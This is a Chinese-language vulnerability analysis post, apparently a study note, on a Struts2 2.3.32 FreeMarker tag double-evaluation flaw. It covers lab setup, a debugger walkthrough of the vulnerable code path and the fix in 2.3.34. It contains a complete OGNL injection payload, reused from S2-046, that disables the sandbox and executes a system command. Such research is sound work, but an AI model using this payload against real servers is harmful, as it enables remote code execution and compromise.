前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建
2.3.32 版本 struts2 + Tomcat 9。
修改 result type:
<result name="success" type="freemarker">/success.ftl</result>
新建一个 success.ftl 模板文件,然后加上 Freemaker tags:
<@s.hidden name="redirectUri" value=redirectUri />
<@s.hidden name="redirectUri" value="${redirectUri}" />
<@s.hidden name="${redirectUri}"/>
三选一。
漏洞利用
简单的双重评估漏洞,直接用 S2-046 的 payload:
%25{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))}
漏洞分析
给 OGNL 的 callStaticMethod 函数下断点来找触发点,源头是在渲染标签属性的 evaluateParams 函数中,这里会调用 findString 解析表达式:
if (this.name != null) {
name = findString(this.name);
addParameter("name", name);
}
而这里的 name 已经经过了一次表达式解析,在前面 Freemaker 处理模板 element 的 accept 函数中:
args = new HashMap();
for (Iterator it = namedArgs.entrySet().iterator(); it.hasNext();) {
Map.Entry entry = (Map.Entry) it.next();
String key = (String) entry.getKey();
Expression valueExp = (Expression) entry.getValue();
TemplateModel value = valueExp.eval(env);
args.put(key, value);
}
所以就导致了漏洞。
漏洞修复
2.3.34 版本中,禁止了访问 #context,尝试打印 #context 时会发现什么数据都没有。
参考文章: